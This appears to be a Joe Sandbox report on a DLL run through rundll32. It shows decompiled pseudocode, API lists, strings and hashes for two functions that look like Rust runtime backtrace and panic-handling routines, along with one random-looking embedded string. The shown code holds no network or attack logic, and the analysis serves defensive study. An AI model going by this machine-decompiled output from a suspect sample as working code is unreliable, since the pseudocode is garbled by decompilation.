Opcode ID: 5dcafa7c52633e3455345822b3319e9f5039a40a193c30db45a42214c1d38e35
Instruction ID: 9bb00283ba20ffd728ab0f7f6461579d5e6f875c252fea3f57787636369757d5
Opcode Fuzzy Hash: 5dcafa7c52633e3455345822b3319e9f5039a40a193c30db45a42214c1d38e35
Instruction Fuzzy Hash: 973109B5D0521DDBEF10DFA4C989BCCBBB8AF04744F1041AAE40EAB240EB719A85DF54

Uniqueness

Uniqueness Score: -1.00%

Function 6EDADD30, Relevance: 42.5, APIs: 19, Strings: 5, Instructions: 451
memorylibraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E6EDADD30(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4, long _a8) {
				void* _v16;
				char _v1456;
				void* __ebp;
				void _t191;
				void* _t194;
				long _t195;
				signed int _t200;
				void* _t201;
				void* _t204;
				void* _t205;
				long _t206;
				char _t208;
				void* _t217;
				void* _t218;
				void* _t221;
				void* _t227;
				void* _t229;
				void* _t233;
				void* _t235;
				void* _t241;
				void* _t243;
				void* _t244;
				void* _t246;
				void* _t250;
				void* _t252;
				long _t260;
				long _t262;
				void* _t263;
				void* _t264;
				char _t265;
				void* _t267;
				void* _t274;
				void* _t284;
				void* _t288;
				long _t291;
				WCHAR* _t293;
				void* _t294;
				WCHAR* _t304;
				long _t305;
				void* _t307;
				void* _t308;
				intOrPtr _t310;
				intOrPtr _t313;
				signed int _t315;
				intOrPtr _t317;
				void* _t318;
				void* _t322;
				void* _t324;

				_push(__ebx);
				_push(__edi);
				_push(__esi);
				_t317 = (_t315 & 0xfffffff0) - 0x5b0;
				_t310 = _t317;
				 *((intOrPtr*)(_t310 + 0x598)) = _t313;
				 *((intOrPtr*)(_t310 + 0x59c)) = _t317;
				 *(_t310 + 0x5a8) = 0xffffffff;
				 *((intOrPtr*)(_t310 + 0x5a4)) = E6EDB39E0;
				 *((intOrPtr*)(_t310 + 0x5a0)) =  *[fs:0x0];
				 *[fs:0x0] = _t310 + 0x5a0;
				_t191 =  *_a4;
				 *(_t310 + 0x28) = _t191;
				 *(_t310 + 0xe) = _t191;
				E6EDBE9D0(__edi, _t310 + 0x190, 0, 0x400);
				_t318 = _t317 + 0xc;
				_t194 =  *0x6edef8cc; // 0x2
				_t262 = 0x200;
				 *(_t310 + 0x24) = 0;
				 *(_t310 + 0x2c) = _t194;
				 *(_t310 + 0x30) = 0;
				 *(_t310 + 0x14) = _t194;
				 *(_t310 + 0x34) = 0;
				 *(_t310 + 0x10) = 0x200;
				if(0x200 >= 0x201) {
					L4:
					_t291 =  *(_t310 + 0x24);
					_t263 = _t262 - _t291;
					__eflags =  *(_t310 + 0x30) - _t291 - _t263;
					if( *(_t310 + 0x30) - _t291 < _t263) {
						 *(_t310 + 0x5a8) = 0;
						_t274 = _t310 + 0x2c;
						E6EDC9A30(_t274, _t291, _t263);
						_t318 = _t318 + 4;
						 *(_t310 + 0x14) =  *(_t310 + 0x2c);
					}
					_t262 =  *(_t310 + 0x10);
					_t304 =  *(_t310 + 0x14);
					 *(_t310 + 0x34) = _t262;
					 *(_t310 + 0x24) = _t262;
					 *(_t310 + 0x20) = _t304;
					 *(_t310 + 0x1c) = _t262;
				} else {
					L7:
					_t304 = _t310 + 0x190;
					 *(_t310 + 0x1c) = 0x200;
					 *(_t310 + 0x20) = _t304;
				}
				L8:
				SetLastError(0);
				_t195 = GetCurrentDirectoryW(_t262, _t304);
				_t305 = _t195;
				if(_t195 != 0 || GetLastError() == 0) {
					if(_t305 != _t262 || GetLastError() != 0x7a) {
						__eflags = _t305 -  *(_t310 + 0x10);
						_t262 = _t305;
						if(_t305 <  *(_t310 + 0x10)) {
							_t292 =  *(_t310 + 0x1c);
							 *(_t310 + 0x5a8) = 0;
							__eflags = _t305 -  *(_t310 + 0x1c);
							if(__eflags > 0) {
								E6EDC9470(_t262, _t305, _t292, _t305, _t310, __eflags, 0x6edf06e0);
								goto L70;
							} else {
								_t293 =  *(_t310 + 0x20);
								_t274 = _t310 + 0x70;
								_push(_t305);
								E6EDB0D10(_t262, _t274, _t293, _t305, _t310);
								_t318 = _t318 + 4;
								asm("movsd xmm0, [esi+0x70]");
								_t264 = 0;
								 *(_t310 + 0x48) =  *(_t310 + 0x78);
								asm("movsd [esi+0x40], xmm0");
								_t200 =  *(_t310 + 0x30);
								__eflags = _t200;
								if(_t200 != 0) {
									goto L18;
								} else {
								}
								goto L21;
							}
						} else {
							__eflags = _t262 - 0x201;
							 *(_t310 + 0x10) = _t262;
							if(_t262 < 0x201) {
								goto L7;
							} else {
								goto L4;
							}
							goto L8;
						}
					} else {
						_t262 =  *(_t310 + 0x10) +  *(_t310 + 0x10);
						 *(_t310 + 0x10) = _t262;
						if(_t262 >= 0x201) {
							goto L4;
						} else {
							goto L7;
						}
						goto L8;
					}
				} else {
					_t260 = GetLastError();
					_t264 = 1;
					 *(_t310 + 0x44) = _t260;
					 *(_t310 + 0x40) = 0;
					_t200 =  *(_t310 + 0x30);
					__eflags = _t200;
					if(_t200 != 0) {
						L18:
						__eflags =  *(_t310 + 0x14);
						if( *(_t310 + 0x14) != 0) {
							__eflags = _t200 & 0x7fffffff;
							if((_t200 & 0x7fffffff) != 0) {
								HeapFree( *0x6edfe128, 0,  *(_t310 + 0x14));
							}
						}
					}
					L21:
					__eflags = _t264;
					if(_t264 == 0) {
						_t201 =  *(_t310 + 0x40);
						_t274 =  *(_t310 + 0x44);
						_t293 =  *(_t310 + 0x48);
						_t265 =  *(_t310 + 0x28);
						 *(_t310 + 0x5a8) = 2;
					} else {
						__eflags =  *(_t310 + 0x40) - 3;
						if( *(_t310 + 0x40) == 3) {
							_t288 =  *(_t310 + 0x44);
							 *(_t310 + 0x10) = _t288;
							 *(_t310 + 0x5a8) = 1;
							 *((intOrPtr*)( *((intOrPtr*)(_t288 + 4))))( *_t288);
							_t318 = _t318 + 4;
							_t250 =  *(_t310 + 0x10);
							_t274 =  *(_t250 + 4);
							__eflags =  *(_t274 + 4);
							if( *(_t274 + 4) != 0) {
								_t252 =  *_t250;
								__eflags =  *((intOrPtr*)(_t274 + 8)) - 9;
								if( *((intOrPtr*)(_t274 + 8)) >= 9) {
									_t252 =  *(_t252 - 4);
								}
								HeapFree( *0x6edfe128, 0, _t252);
								_t250 =  *(_t310 + 0x44);
							}
							HeapFree( *0x6edfe128, 0, _t250);
						}
						_t265 =  *(_t310 + 0xe);
						_t201 = 0;
						 *(_t310 + 0x5a8) = 2;
					}
					 *((char*)(_t310 + 0x68)) = _t265;
					 *(_t310 + 0x5c) = _t201;
					 *(_t310 + 0x64) = _t293;
					 *(_t310 + 0x60) = _t274;
					 *(_t310 + 0x190) = 0x6edefdd8;
					 *(_t310 + 0x194) = 1;
					 *(_t310 + 0x198) = 0;
					 *((intOrPtr*)(_t310 + 0x1a0)) = 0x6edef570;
					 *(_t310 + 0x1a4) = 0;
					_t294 =  *(_a8 + 0x1c);
					_push(_t310 + 0x190);
					_t204 = E6EDA2150( *((intOrPtr*)(_a8 + 0x18)), _t294);
					_t322 = _t318 + 4;
					__eflags = _t204;
					if(_t204 != 0) {
						L50:
						_t205 =  *(_t310 + 0x5c);
						__eflags = _t205;
						if(_t205 != 0) {
							__eflags =  *(_t310 + 0x60);
							if( *(_t310 + 0x60) != 0) {
								HeapFree( *0x6edfe128, 0, _t205);
							}
						}
						_t206 = 1;
						goto L54;
					} else {
						_t208 =  *(_t310 + 0xe);
						 *(_t310 + 0x6c) = 0;
						 *((char*)(_t310 + 0xf)) = 0;
						 *(_t310 + 0x40) = _a8;
						 *(_t310 + 0x44) = 0;
						__eflags = _t208;
						 *((char*)(_t310 + 0x50)) = _t208;
						 *(_t310 + 0x2c) = _t310 + 0xe;
						 *(_t310 + 0x48) = _t310 + 0x5c;
						 *((intOrPtr*)(_t310 + 0x4c)) = 0x6edefde0;
						 *(_t310 + 0x1b) = _t208 != 0;
						 *(_t310 + 0x30) = _t310 + 0x6c;
						 *(_t310 + 0x34) = _t310 + 0x1b;
						 *((intOrPtr*)(_t310 + 0x38)) = _t310 + 0xf;
						 *((intOrPtr*)(_t310 + 0x3c)) = _t310 + 0x40;
						 *(_t310 + 0x10) = GetCurrentProcess();
						 *(_t310 + 0x24) = GetCurrentThread();
						_t307 = _t310 + 0x190;
						E6EDBE9D0(_t307, _t307, 0, 0x2d0);
						_t324 = _t322 + 0xc;
						_push(_t307);
						L6EDBC5AE();
						_t217 = E6EDAE4E0(_t265, _t307, _t310);
						__eflags = _t217;
						if(_t217 == 0) {
							_t308 =  *0x6edfe148; // 0x0
							 *(_t310 + 0x58) = _t294;
							__eflags = _t308;
							if(_t308 == 0) {
								_t218 = GetProcAddress( *0x6edfe130, "SymFunctionTableAccess64");
								__eflags = _t218;
								if(__eflags == 0) {
									 *(_t310 + 0x5a8) = 3;
									E6EDC94E0(_t265, "called `Option::unwrap()` on a `None` value", 0x2b, _t308, _t310, __eflags, 0x6edf0ad0);
									goto L70;
								} else {
									_t308 = _t218;
									 *0x6edfe148 = _t218;
									_t267 =  *0x6edfe14c; // 0x0
									__eflags = _t267;
									if(_t267 != 0) {
										goto L41;
									} else {
										goto L39;
									}
								}
							} else {
								_t267 =  *0x6edfe14c; // 0x0
								__eflags = _t267;
								if(_t267 != 0) {
									L41:
									 *(_t310 + 0x20) = GetCurrentProcess();
									_t221 =  *0x6edfe158; // 0x0
									 *(_t310 + 0x1c) = _t308;
									 *(_t310 + 0x14) = _t267;
									__eflags = _t221;
									if(_t221 != 0) {
										L44:
										 *(_t310 + 0x28) = _t221;
										 *(_t310 + 0x74) = 0;
										 *(_t310 + 0x70) = 0;
										E6EDBE9D0(_t308, _t310 + 0x80, 0, 0x10c);
										_t324 = _t324 + 0xc;
										 *(_t310 + 0x7c) = 0;
										 *(_t310 + 0x78) =  *(_t310 + 0x248);
										 *(_t310 + 0x84) = 3;
										 *((intOrPtr*)(_t310 + 0xa8)) =  *((intOrPtr*)(_t310 + 0x254));
										 *(_t310 + 0xac) = 0;
										 *(_t310 + 0xb4) = 3;
										 *((intOrPtr*)(_t310 + 0x98)) =  *((intOrPtr*)(_t310 + 0x244));
										 *(_t310 + 0x9c) = 0;
										 *(_t310 + 0xa4) = 3;
										while(1) {
											_t227 =  *(_t310 + 0x28)(0x14c,  *(_t310 + 0x10),  *(_t310 + 0x24), _t310 + 0x78, _t310 + 0x190, 0, _t308, _t267, 0, 0);
											__eflags = _t227 - 1;
											if(_t227 != 1) {
												goto L47;
											}
											 *(_t310 + 0x188) =  *_t267( *(_t310 + 0x20),  *(_t310 + 0x78), 0);
											 *(_t310 + 0x5a8) = 3;
											_t235 = E6EDAE6E0(_t267, _t310 + 0x2c, _t310 + 0x70, _t308, _t310);
											_t308 =  *(_t310 + 0x1c);
											_t267 =  *(_t310 + 0x14);
											__eflags = _t235;
											if(_t235 != 0) {
												continue;
											}
											goto L47;
										}
										goto L47;
									} else {
										_t221 = GetProcAddress( *0x6edfe130, "StackWalkEx");
										__eflags = _t221;
										if(_t221 == 0) {
											E6EDBE9D0(_t308, _t310 + 0x80, 0, 0x100);
											_t324 = _t324 + 0xc;
											 *(_t310 + 0x74) = 0;
											 *(_t310 + 0x70) = 1;
											 *(_t310 + 0x188) = 0;
											 *(_t310 + 0x7c) = 0;
											 *(_t310 + 0x78) =  *(_t310 + 0x248);
											 *(_t310 + 0x84) = 3;
											 *((intOrPtr*)(_t310 + 0xa8)) =  *((intOrPtr*)(_t310 + 0x254));
											 *(_t310 + 0xac) = 0;
											 *(_t310 + 0xb4) = 3;
											 *((intOrPtr*)(_t310 + 0x98)) =  *((intOrPtr*)(_t310 + 0x244));
											 *(_t310 + 0x9c) = 0;
											 *(_t310 + 0xa4) = 3;
											do {
												_t284 =  *0x6edfe144; // 0x0
												__eflags = _t284;
												if(_t284 != 0) {
													L63:
													_t241 =  *_t284(0x14c,  *(_t310 + 0x10),  *(_t310 + 0x24), _t310 + 0x78, _t310 + 0x190, 0, _t308, _t267, 0);
													__eflags = _t241 - 1;
													if(_t241 != 1) {
														L47:
														ReleaseMutex( *(_t310 + 0x58));
														__eflags =  *((char*)(_t310 + 0xf));
														if( *((char*)(_t310 + 0xf)) != 0) {
															goto L50;
														} else {
															goto L48;
														}
														goto L54;
													} else {
														goto L64;
													}
												} else {
													_t244 = GetProcAddress( *0x6edfe130, "StackWalk64");
													__eflags = _t244;
													if(__eflags == 0) {
														 *(_t310 + 0x5a8) = 3;
														E6EDC94E0(_t267, "called `Option::unwrap()` on a `None` value", 0x2b, _t308, _t310, __eflags, 0x6edf0ad0);
														goto L70;
													} else {
														_t284 = _t244;
														 *0x6edfe144 = _t244;
														goto L63;
													}
												}
												goto L71;
												L64:
												 *(_t310 + 0x188) =  *_t267( *(_t310 + 0x20),  *(_t310 + 0x78), 0);
												 *(_t310 + 0x5a8) = 3;
												_t243 = E6EDAE6E0(_t267, _t310 + 0x2c, _t310 + 0x70, _t308, _t310);
												_t308 =  *(_t310 + 0x1c);
												_t267 =  *(_t310 + 0x14);
												__eflags = _t243;
											} while (_t243 != 0);
											goto L47;
										} else {
											 *0x6edfe158 = _t221;
											goto L44;
										}
									}
								} else {
									L39:
									_t246 = GetProcAddress( *0x6edfe130, "SymGetModuleBase64");
									__eflags = _t246;
									if(__eflags == 0) {
										 *(_t310 + 0x5a8) = 3;
										E6EDC94E0(_t267, "called `Option::unwrap()` on a `None` value", 0x2b, _t308, _t310, __eflags, 0x6edf0ad0);
										L70:
										asm("ud2");
										_push(_t313);
										return E6EDAE6D0( *((intOrPtr*)( &_v1456 + 0x58)));
									} else {
										_t267 = _t246;
										 *0x6edfe14c = _t246;
										goto L41;
									}
								}
							}
						} else {
							__eflags =  *((char*)(_t310 + 0xf));
							if( *((char*)(_t310 + 0xf)) != 0) {
								goto L50;
							} else {
								L48:
								__eflags =  *(_t310 + 0xe);
								if( *(_t310 + 0xe) != 0) {
									L55:
									_t229 =  *(_t310 + 0x5c);
									__eflags = _t229;
									if(_t229 != 0) {
										__eflags =  *(_t310 + 0x60);
										if( *(_t310 + 0x60) != 0) {
											HeapFree( *0x6edfe128, 0, _t229);
										}
									}
									_t206 = 0;
								} else {
									 *(_t310 + 0x190) = 0x6edefe4c;
									 *(_t310 + 0x194) = 1;
									 *(_t310 + 0x198) = 0;
									 *((intOrPtr*)(_t310 + 0x1a0)) = 0x6edef570;
									 *(_t310 + 0x1a4) = 0;
									 *(_t310 + 0x5a8) = 2;
									_push(_t310 + 0x190);
									_t233 = E6EDA2150( *((intOrPtr*)(_a8 + 0x18)),  *(_a8 + 0x1c));
									__eflags = _t233;
									if(_t233 == 0) {
										goto L55;
									} else {
										goto L50;
									}
								}
							}
							L54:
							 *[fs:0x0] =  *((intOrPtr*)(_t310 + 0x5a0));
							return _t206;
						}
					}
				}
				L71:
			}

APIs

SetLastError.KERNEL32(00000000), ref: 6EDADE42
GetCurrentDirectoryW.KERNEL32(?,?), ref: 6EDADE4A
GetLastError.KERNEL32 ref: 6EDADE56
GetLastError.KERNEL32 ref: 6EDADE68
GetLastError.KERNEL32 ref: 6EDADECC
HeapFree.KERNEL32(00000000,00000000), ref: 6EDADEFD
HeapFree.KERNEL32(00000000,?), ref: 6EDADF47
HeapFree.KERNEL32(00000000,?), ref: 6EDADF58
GetCurrentProcess.KERNEL32(?), ref: 6EDAE031
GetCurrentThread.KERNEL32 ref: 6EDAE039
RtlCaptureContext.KERNEL32(?), ref: 6EDAE059
GetProcAddress.KERNEL32(SymFunctionTableAccess64,?), ref: 6EDAE09A
GetProcAddress.KERNEL32(SymGetModuleBase64), ref: 6EDAE0C4
GetCurrentProcess.KERNEL32 ref: 6EDAE0D9
GetProcAddress.KERNEL32(StackWalkEx), ref: 6EDAE0FB
ReleaseMutex.KERNEL32(?), ref: 6EDAE1E8
HeapFree.KERNEL32(00000000,?), ref: 6EDAE26B
HeapFree.KERNEL32(00000000,?,?), ref: 6EDAE29D
GetProcAddress.KERNEL32(StackWalk64), ref: 6EDAE345

Strings

StackWalk64, xrefs: 6EDAE33A
StackWalkEx, xrefs: 6EDAE0F0
called `Option::unwrap()` on a `None` value, xrefs: 6EDAE3CC, 6EDAE3EF, 6EDAE412
SymFunctionTableAccess64, xrefs: 6EDAE08F
SymGetModuleBase64, xrefs: 6EDAE0B9

Memory Dump Source

Source File: 00000002.00000002.545631028.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000002.00000002.545627622.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.545646465.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.545668760.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.545673502.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.545680718.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eda0000_rundll32.jbxd

Similarity

API ID: FreeHeap$AddressCurrentErrorLastProc$Process$CaptureContextDirectoryMutexReleaseThread
String ID: StackWalk64$StackWalkEx$SymFunctionTableAccess64$SymGetModuleBase64$called `Option::unwrap()` on a `None` value
API String ID: 1381040140-1036201984
Opcode ID: b8374127ea3b4244152035adecc8aab59f468db32060ee1a1ea8c7afb6cdc79f
Instruction ID: b3a764f2f85901f58eb3aa5616bd40005037f0dae2c6d9a169c9683abe56253f
Opcode Fuzzy Hash: b8374127ea3b4244152035adecc8aab59f468db32060ee1a1ea8c7afb6cdc79f
Instruction Fuzzy Hash: 601216B0600B00DFE761CFA9C894B97BBF5BB49708F00491DDAAA87690E771F549CB52

Uniqueness

Uniqueness Score: -1.00%

Function 6EDAC700, Relevance: 32.0, APIs: 14, Strings: 4, Instructions: 477
memoryCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E6EDAC700(long _a4, signed int _a8) {
				void* _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				void* _v36;
				void* _v40;
				char _v41;
				long _v48;
				long* _v52;
				intOrPtr _v56;
				long _v60;
				void _v64;
				long* _v68;
				long _v72;
				char _v76;
				long* _v80;
				void* _v84;
				char _v88;
				long _v92;
				char* _v96;
				long _v100;
				void* _v104;
				void** _v108;
				void* _v112;
				long _v116;
				void* _v120;
				long _v124;
				char _v128;
				intOrPtr _v132;
				void _v136;
				void* _v140;
				intOrPtr _v144;
				signed int _v148;
				intOrPtr _v152;
				intOrPtr* _t190;
				void* _t194;
				void _t195;
				intOrPtr* _t196;
				signed int _t197;
				signed int _t199;
				char* _t201;
				long _t202;
				long _t203;
				void* _t204;
				void* _t205;
				long _t206;
				void _t209;
				void _t210;
				void* _t219;
				void* _t222;
				long _t226;
				void* _t235;
				void* _t245;
				void* _t247;
				void* _t248;
				char** _t251;
				char** _t252;
				void* _t256;
				void* _t260;
				void _t264;
				char _t265;
				signed char _t267;
				void _t270;
				intOrPtr _t273;
				void* _t275;
				char* _t276;
				void _t277;
				void* _t280;
				intOrPtr _t291;
				intOrPtr _t295;
				void _t298;
				long _t302;
				void* _t307;
				void* _t308;
				void* _t309;
				signed int _t310;
				signed int _t312;
				void* _t318;
				intOrPtr* _t324;
				long _t326;
				void* _t327;
				void* _t330;
				void* _t331;
				void* _t332;
				void* _t333;
				void* _t334;
				void* _t335;
				intOrPtr _t336;
				void* _t347;
				void* _t360;
				long _t361;

				_v32 = _t336;
				_v20 = 0xffffffff;
				_v24 = E6EDB39A0;
				_t264 = _t270;
				_t332 = 1;
				_t330 = _t307;
				_v28 =  *[fs:0x0];
				 *[fs:0x0] =  &_v28;
				asm("lock xadd [0x6edfe120], esi");
				_t190 = E6EDAD000(_t264, _t330);
				_t337 = _t190;
				if(_t190 == 0) {
					_t190 = E6EDC95A0(_t264,  &M6EDEF8F7, 0x46, _t337,  &_v68, 0x6edef870, 0x6edef9bc);
					_t336 = _t336 + 0xc;
					asm("ud2");
				}
				_t308 = _a8;
				_t273 =  *_t190 + 1;
				 *_t190 = _t273;
				if(_t332 < 0 || _t273 >= 3) {
					__eflags = _t273 - 2;
					if(__eflags <= 0) {
						_v124 = 0x6edef570;
						_v120 = 0x6edef824;
						_v68 = 0x6edf0260;
						_v64 = 2;
						_v96 = 0;
						_v100 = 0;
						_v60 = 0;
						_v116 = _a4;
						_v112 = _t308;
						_t309 =  &_v68;
						_v80 =  &_v124;
						_v76 = E6EDA2470;
						_v52 =  &_v80;
						_v48 = 1;
						_t194 = E6EDAD0F0( &_v100, __eflags);
						__eflags = _t194 - 3;
						if(_t194 == 3) {
							_v20 = 0;
							_v36 = _t309;
							 *((intOrPtr*)( *((intOrPtr*)(_t309 + 4))))( *_t309);
							_t336 = _t336 + 4;
							L11:
							_t332 = _v36;
							_t302 =  *(_t332 + 4);
							__eflags =  *(4 + _t302);
							if( *(4 + _t302) != 0) {
								_t256 =  *_t332;
								__eflags =  *((intOrPtr*)(_t302 + 8)) - 9;
								if( *((intOrPtr*)(_t302 + 8)) >= 9) {
									_t256 =  *(_t256 - 4);
								}
								HeapFree( *0x6edfe128, 0, _t256);
							}
							_t194 = HeapFree( *0x6edfe128, 0, _t332);
						}
						goto L16;
					}
					_t327 =  &_v68;
					_v68 = 0x6edf0224;
					_v64 = 1;
					_v60 = 0;
					_v52 = 0x6edef570;
					_v120 = 0;
					_v124 = 0;
					_v48 = 0;
					_t194 = E6EDAD0F0( &_v124, __eflags);
					__eflags = _t194 - 3;
					if(_t194 != 3) {
						goto L16;
					} else {
						_v20 = 1;
						_v36 = _t327;
						 *((intOrPtr*)( *((intOrPtr*)(_t327 + 4))))( *_t327);
						_t336 = _t336 + 4;
						goto L11;
					}
				} else {
					_v132 = _t273;
					__imp__AcquireSRWLockShared(0x6edfe11c);
					_v144 = 0x6edfe11c;
					_v20 = 2;
					_v136 = _t264;
					_v140 = _t330;
					_t260 =  *((intOrPtr*)(_t330 + 0x10))(_t264);
					_t336 = _t336 + 4;
					_v36 = _t260;
					_v40 = _t308;
					_t194 = E6EDAD000(_t264, _t330);
					_t330 = _v40;
					_t340 = _t194;
					if(_t194 != 0) {
						L17:
						__eflags =  *_t194 - 1;
						_t275 = 1;
						if( *_t194 <= 1) {
							_t195 =  *0x6edfe110; // 0x0
							_t310 = _a8;
							__eflags = _t195 - 2;
							if(_t195 == 2) {
								_t275 = 0;
								goto L19;
							}
							__eflags = _t195 - 1;
							if(_t195 == 1) {
								_t275 = 4;
								goto L19;
							}
							__eflags = _t195;
							if(_t195 != 0) {
								goto L19;
							}
							E6EDAD380(_t264,  &_v68, _t330, _t332);
							_t330 = _v40;
							_t248 = _v68;
							__eflags = _t248;
							if(_t248 != 0) {
								goto L68;
							}
							_t267 = 5;
							goto L86;
						}
						_t310 = _a8;
						goto L19;
					} else {
						E6EDC95A0(_t264,  &M6EDEF8F7, 0x46, _t340,  &_v68, 0x6edef870, 0x6edef9bc);
						_t336 = _t336 + 0xc;
						L61:
						asm("ud2");
						L62:
						_t276 = "Box<dyn Any><unnamed>thread \'\' panicked at \'\', ";
						_t201 = 0xc;
						L21:
						_v100 = _t276;
						_v96 = _t201;
						_t202 =  *0x6edfd044; // 0x0
						if(_t202 == 0) {
							_t280 = 0x6edfd044;
							_t202 = E6EDB2960(_t264, 0x6edfd044, _t330, _t332);
						}
						_t194 = TlsGetValue(_t202);
						if(_t194 <= 1) {
							L42:
							_t203 =  *0x6edfd044; // 0x0
							__eflags = _t203;
							if(_t203 == 0) {
								_t280 = 0x6edfd044;
								_t203 = E6EDB2960(_t264, 0x6edfd044, _t330, _t332);
							}
							_t194 = TlsGetValue(_t203);
							__eflags = _t194;
							if(_t194 == 0) {
								_t204 =  *0x6edfe128; // 0x3340000
								__eflags = _t204;
								if(_t204 != 0) {
									L66:
									_t205 = HeapAlloc(_t204, 0, 0x10);
									__eflags = _t205;
									if(__eflags != 0) {
										 *_t205 = 0;
										 *(_t205 + 0xc) = 0x6edfd044;
										_t332 = _t205;
										_t206 =  *0x6edfd044; // 0x0
										__eflags = _t206;
										if(_t206 == 0) {
											_v36 = _t332;
											_t206 = E6EDB2960(_t264, 0x6edfd044, _t330, _t332);
											_t332 = _v36;
										}
										_t194 = TlsSetValue(_t206, _t332);
										goto L75;
									}
									L67:
									_t248 = E6EDC92F0(_t264, 0x10, 4, _t330, _t332, __eflags);
									asm("ud2");
									L68:
									_t326 = _v60;
									_t298 = _v64;
									__eflags = _t326 - 4;
									if(_t326 == 4) {
										__eflags =  *_t248 - 0x6c6c7566;
										if( *_t248 != 0x6c6c7566) {
											L83:
											_t332 = 2;
											_t267 = 0;
											__eflags = 0;
											L84:
											__eflags = _t298;
											if(_t298 != 0) {
												HeapFree( *0x6edfe128, 0, _t248);
											}
											L86:
											__eflags = _t267 - 5;
											_t310 = _a8;
											_t269 =  !=  ? _t332 : 1;
											_t275 =  !=  ? _t267 & 0x000000ff : 4;
											_t142 =  !=  ? _t332 : 1;
											_t264 =  *0x6edfe110;
											 *0x6edfe110 =  !=  ? _t332 : 1;
											L19:
											_v148 = _t310;
											_v128 = _t275;
											_t59 = _t330 + 0xc; // 0x6edb3290
											_t196 =  *_t59;
											_v40 = _t196;
											_t197 =  *_t196(_v36);
											_t336 = _t336 + 4;
											_t312 = _t310 ^ 0x7ef2a91e | _t197 ^ 0xecc7bcf4;
											__eflags = _t312;
											if(__eflags != 0) {
												_t199 = _v40(_v36);
												_t336 = _t336 + 4;
												__eflags = _t312 ^ 0xe43a67d8 | _t199 ^ 0xbae7a625;
												if(__eflags != 0) {
													goto L62;
												}
												_t251 = _v36;
												_t276 =  *_t251;
												_t201 = _t251[2];
												goto L21;
											}
											_t252 = _v36;
											_t276 =  *_t252;
											_t201 = _t252[1];
											goto L21;
										}
										_t267 = 1;
										_t332 = 3;
										goto L84;
									}
									__eflags = _t326 - 1;
									if(_t326 != 1) {
										goto L83;
									}
									__eflags =  *_t248 - 0x30;
									if( *_t248 != 0x30) {
										goto L83;
									}
									_t267 = 4;
									_t332 = 1;
									goto L84;
								}
								_t204 = GetProcessHeap();
								__eflags = _t204;
								if(__eflags == 0) {
									goto L67;
								}
								 *0x6edfe128 = _t204;
								goto L66;
							} else {
								_t332 = _t194;
								__eflags = _t194 - 1;
								if(_t194 != 1) {
									L75:
									_t277 =  *(_t332 + 8);
									__eflags =  *_t332;
									_t136 = _t332 + 4; // 0x4
									_t330 = _t136;
									 *_t332 = 1;
									 *(_t332 + 4) = 0;
									 *(_t332 + 8) = 0;
									if(__eflags != 0) {
										__eflags = _t277;
										if(__eflags != 0) {
											asm("lock dec dword [ecx]");
											if(__eflags == 0) {
												_t194 = E6EDAC640(_t277);
											}
										}
									}
									goto L26;
								}
								_v84 = 0;
								_v36 = 0;
								_t210 = 0;
								__eflags = 0;
								goto L47;
							}
						} else {
							_t330 = _t194;
							if( *_t194 != 1) {
								goto L42;
							}
							_t330 = _t330 + 4;
							L26:
							if( *_t330 != 0) {
								E6EDC95A0(_t264, "already borrowedC:cmfltobzsqiwzwswifceeeiuunqkihdnyjizwfcsrqtsqkmwekwaanfzackndqagesnhktvjovmkrgyplrusstvgwloxgtnnoxmtpmkzzsudqjpdkuwbmncfcubd", 0x10, __eflags,  &_v68, 0x6edef860, 0x6edeff30);
								_t336 = _t336 + 0xc;
								goto L61;
							}
							 *_t330 = 0xffffffff;
							_t332 =  *(_t330 + 4);
							if(_t332 == 0) {
								_v36 = _t330;
								_v20 = 8;
								_t247 = E6EDAC4D0(_t264, _t330, _t332);
								_t330 = _v36;
								_t332 = _t247;
								_t194 =  *(_t330 + 4);
								_t347 = _t194;
								if(_t347 != 0) {
									asm("lock dec dword [eax]");
									if(_t347 == 0) {
										_t280 =  *(_t330 + 4);
										_t194 = E6EDAC640(_t280);
									}
								}
								 *(_t330 + 4) = _t332;
							}
							asm("lock inc dword [esi]");
							if(_t347 <= 0) {
								L16:
								asm("ud2");
								asm("ud2");
								goto L17;
							} else {
								 *_t330 =  *_t330 + 1;
								_v84 = _t332;
								_v36 = _t332;
								if(_t332 != 0) {
									_t209 =  *(_t332 + 0x10);
									__eflags = _t209;
									_t280 =  ==  ? _t209 : _t332 + 0x10;
									if(__eflags != 0) {
										L103:
										_t210 =  *_t280;
										_t280 =  *((intOrPtr*)(_t280 + 4)) - 1;
										L104:
										_v20 = 3;
										L47:
										_v124 = 0x6edf010c;
										_v120 = 4;
										_v72 = 0;
										_v88 = 0;
										_v92 = 0;
										_v116 = 0;
										_v20 = 3;
										_t317 =  !=  ? _t210 : "<unnamed>thread \'\' panicked at \'\', ";
										_t212 =  !=  ? _t280 : 9;
										_v80 =  !=  ? _t210 : "<unnamed>thread \'\' panicked at \'\', ";
										_t318 =  &_v124;
										_v76 =  !=  ? _t280 : 9;
										_v68 =  &_v80;
										_v64 = 0x6edadca0;
										_v60 =  &_v100;
										_v56 = 0x6edadca0;
										_v52 =  &_v148;
										_v48 = E6EDADCC0;
										_v108 =  &_v68;
										_v104 = 3;
										if(E6EDAD0F0( &_v92, _t210) == 3) {
											_v20 = 7;
											_v40 = _t318;
											 *((intOrPtr*)( *((intOrPtr*)(_t318 + 4))))( *_t318);
											_t336 = _t336 + 4;
											_t335 = _v40;
											_t295 =  *((intOrPtr*)(_t335 + 4));
											if( *((intOrPtr*)(_t295 + 4)) != 0) {
												_t245 =  *_t335;
												if( *((intOrPtr*)(_t295 + 8)) >= 9) {
													_t245 =  *(_t245 - 4);
												}
												HeapFree( *0x6edfe128, 0, _t245);
											}
											HeapFree( *0x6edfe128, 0, _t335);
										}
										_t265 = _v128;
										_t219 =  <  ? (_t265 + 0x000000fd & 0x000000ff) + 1 : 0;
										if(_t219 == 0) {
											__imp__AcquireSRWLockExclusive(0x6edfe10c);
